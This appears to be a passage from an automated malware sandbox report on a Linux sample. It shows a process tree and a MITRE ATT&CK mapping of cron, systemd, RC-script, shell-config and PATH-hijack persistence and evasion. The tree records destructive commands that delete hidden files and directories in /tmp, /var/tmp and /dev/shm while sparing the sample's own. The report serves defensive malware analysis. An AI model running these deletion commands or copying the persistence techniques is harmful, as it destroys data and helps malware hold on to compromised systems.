  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:1013
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:1014
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1015
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1016
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:1017
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:1018
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1019
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Persistence

Boot or Logon Autostart Execution

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable